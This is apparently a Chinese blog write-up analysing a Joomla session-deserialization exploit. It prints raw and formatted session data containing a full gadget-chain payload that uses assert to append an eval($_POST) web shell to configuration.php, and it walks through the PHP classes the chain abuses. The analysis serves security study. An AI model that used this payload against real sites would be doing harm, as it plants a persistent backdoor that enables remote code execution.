__default|a:8:{s:15:"session.counter";i:2;s:19:"session.timer.start";i:1588256254;s:18:"session.timer.last";i:1588256254;s:17:"session.timer.now";i:1588256306;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"d4bc08c9cb28f7a2920ca1851c822d38";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:46:"Your session has expired. Please log in again.";s:4:"type";s:7:"warning";}}}
可以看到和正常資料不同的地方的後面也有很多類似函式的引數，把上面的格式化一下
__default|
a:8:
{
s:15:"session.counter";
i:3;
s:19:"session.timer.start";
i:1588261345;
s:18:"session.timer.last";
i:1588261347;
s:17:"session.timer.now";
i:1588261570;
s:8:"registry";
O:24:"Joomla\Registry\Registry":2:
{
s:7:"\0\0\0data";
O:8:"stdClass":1:
{
s:5:"users";
O:8:"stdClass":1:
{
s:5:"login";
O:8:"stdClass":1:
{
s:4:"form";
O:8:"stdClass":2:
{
s:4:"data";
a:5:
{
s:6:"return";s:39:"index.php?option=com_users&view=profile";
s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\'])) eval($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";
s:9:"secretkey";s:0:"";
s:8:"remember";i:0;
}
s:6:"return";
s:39:"index.php?option=com_users&view=profile";
}
}
}
}
s:9:"separator";
s:1:".";
}
s:4:"user";
O:5:"JUser":26:
{
s:9:"\0\0\0isRoot";N;
s:2:"id";i:0;
s:4:"name";N;
s:8:"username";N;
s:5:"email";N;
s:8:"password";N;
s:14:"password_clear";s:0:"";
s:5:"block";N;
s:9:"sendEmail";i:0;
s:12:"registerDate";N;
s:13:"lastvisitDate";N;
s:10:"activation";N;
s:6:"params";N;
s:6:"groups";a:1:{i:0;s:1:"9";}
s:5:"guest";i:1;
s:13:"lastResetTime";N;
s:10:"resetCount";N;
s:12:"requireReset";N;
s:10:"\0\0\0_params";
O:24:"Joomla\Registry\Registry":2:
{
s:7:"\0\0\0data";
O:8:"stdClass":0:{}
s:9:"separator";s:1:".";
}
s:14:"\0\0\0_authGroups";N;
s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}
s:15:"\0\0\0_authActions";N;
s:12:"\0\0\0_errorMsg";N;
s:13:"\0\0\0userHelper";
O:18:"JUserWrapperHelper":0:{}
s:10:"\0\0\0_errors";a:0:{}
s:3:"aid";i:0;
}
s:13:"session.token";
s:32:"878c42d725cd32dcc52aa2ca0c848ded";
s:17:"application.queue";
a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}
Services 一文中給出所有的字母標示及其含義：
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
在其中的";s:8:"password";s:603:"AAA長度為27，正好為構造的payload，經過read函式的替換之後變為
之後經過一個303跳轉，請求index.php/component/users/?view=login從新呼叫read()函式，觸發payload
這裡的password欄位被替換為一個類
檢視libraries/joomla/database/driver/mysqli.php中206行
public function __destruct()
{
$this->disconnect();
}
public function disconnect()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
存在一個call_user_func_array函式，但是這裡面的&$this是我們不可控的，所以需要取尋找另一個利用點，新呼叫一個物件，在libraries/simplepie/simplepie.php中
這裡simplepie是沒有定義的，所以需要new JSimplepieFactory()，並且在SimplePie類中，需要滿足if ($this->cache && $parsed_feed_url['scheme'] !== '')才能呼叫下面的call_user_func,並且為了滿足能夠實現函式使用，需要$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');中的cache_name_function和feed_url為我們的函式和命令
在這個序列化的過程中，我沒有理解為什麼要新new出來一個JDatabaseDriverMysql物件，這個物件extendsJDatabaseDriverMysqli,難道是為了再呼叫JDatabaseDriverMysqli中的方法麼，如果有大佬知道的話，歡迎留言評論